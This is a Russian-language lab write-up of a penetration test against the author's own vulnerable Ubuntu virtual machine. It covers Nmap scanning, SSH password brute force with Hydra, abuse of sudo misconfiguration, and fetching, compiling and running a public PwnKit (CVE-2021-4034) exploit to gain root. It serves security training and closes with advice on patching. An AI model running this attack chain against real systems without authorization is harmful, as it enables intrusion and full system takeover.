
Полный рабочий процесс тестирования на проникновение: подбор учетных данных (брутфорс), доступ по SSH и повышение привилегий (CVE-2021-4034)
Полный рабочий процесс тестирования на проникновение: брутфорс учетных данных, доступ по SSH и повышение привилегий (CVE-2021-4034)
ОБЗОР
Этот проект демонстрирует полный рабочий процесс тестирования на проникновение против уязвимой виртуальной машины Ubuntu. Цепочка атак включает разведку, подбор учетных данных, первоначальный доступ и повышение привилегий с использованием нескольких техник.
ИСПОЛЬЗУЕМЫЕ ИНСТРУМЕНТЫ
Nmap
Hydra
SSH
Git
CVE-2021-4034 (PwnKit)
РАЗВЕДКА
Разведка проводилась с помощью Nmap, который показал количество открытых хостов в конкретной сети (Wi-Fi).
nmap < IP сети 0/24 > : Это показало количество активных хостов и их MAC-адреса.

Как видно, ВМ работала в ORACLE VIRTUAL BOX, мы смогли определить, что это наша уязвимая ВМ, и IP-адрес следующий:
Дальнейшее сканирование показало обнаруженные уязвимые открытые порты для атаки.
ПЕРВИЧНАЯ ЭКСПЛУАТАЦИЯ
Используя это, я предпринял успешную атаку подбора учетных данных с помощью Hydra
hydra -l < ИМЯ_ПОЛЬЗОВАТЕЛЯ > or -L < Файл.txt > -p < ПАРОЛЬ > or -P < Файл.txt > < ЦЕЛЕВОЙ_IP > < ПОРТ >
Этот успешный подбор пароля позволил нам использовать эти учетные данные для эксплуатации SSH-порта.
ssh < ИМЯ_ПОЛЬЗОВАТЕЛЯ@ЦЕЛЕВОЙ_IP > Пароль < полученный_пароль >
Это дало нам первоначальный доступ к системе жертвы. Кроме того, неправильная конфигурация sudo предоставила полный доступ к root:
sudo -l : (ALL : ALL) ALL
sudo su стало повышением привилегий
ВТОРИЧНАЯ ЭКСПЛУАТАЦИЯ
Мы продолжили эксплуатацию системы жертвы с помощью «Pwnkit CVE-2021-4034».
PwnKit (CVE-2021-4034) — это критическая уязвимость безопасности, обнаруженная в начале 2022 года исследовательской группой Qualys, затрагивающая фреймворк Polkit в Linux-системах. Это локальная уязвимость повышения привилегий (LPE), позволяющая любому стандартному непривилегированному пользователю получить полные привилегии root (административный доступ) в системе. Уязвимость существовала с момента внедрения Polkit в 2009 году и считается «тривиальной» для эксплуатации, что делает её очень опасной.
Common Vulnerabilities and Exposures (CVE) — это стандартизированный, общедоступный список уязвимостей и угроз кибербезопасности в программном и аппаратном обеспечении.
УСТАНОВКА CVE-2021-4034 и ЭКСПЛУАТАЦИЯ ВМ
Сначала я подтвердил, что целевая система потенциально уязвима, проверив наличие и права pkexec:
which pkexec
Вывод: ls -la /usr/bin/pkexec
У бинарного файла был установлен SUID-бит, что указывает на его выполнение с привилегиями root, делая его подходящей целью для эксплуатации.
Подготовка среды
Для компиляции эксплойта были установлены необходимые инструменты:
sudo apt update
sudo apt install git build-essential -y
Это гарантировало наличие необходимого компилятора и зависимостей.
Если в системе apt выполняет фоновые задачи, завершите их.
Перенос / получение кода эксплойта
Эксплойт был клонирован непосредственно на машину жертвы:
cd /tmp
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
Использование /tmp позволяет избежать захламления и отражает реалистичное поведение атакующего.


Компиляция эксплойта
Эксплойт был скомпилирован с помощью: make
Это сгенерировало исполняемый файл, необходимый для запуска уязвимости.
Запуск эксплойта
Эксплойт был выполнен:
./cve-2021-4034
Проверка повышения привилегий
После выполнения доступ root был подтвержден:
whoami
Вывод: root
Этот эксплойт работает, потому что pkexec неправильно обрабатывает переменные окружения, что позволяет атакующим выполнять произвольный код с повышенными привилегиями.
ЗАКЛЮЧЕНИЕ
Это упражнение демонстрирует, как, казалось бы, непривилегированный пользователь может повысить свои права до полного контроля над системой, используя известную уязвимость, такую как PwnKit (CVE-2021-4034). Объединив первоначальный доступ через компрометацию учетных данных с систематическим перебором и эксплуатацией, удалось получить root-доступ, не полагаясь только на неправильные конфигурации. Это подчеркивает критическую важность своевременного управления исправлениями и безопасных практик конфигурации. Даже одна упущенная уязвимость может привести к полной компрометации системы, что подчеркивает необходимость непрерывных оценок безопасности и стратегий многоуровневой защиты.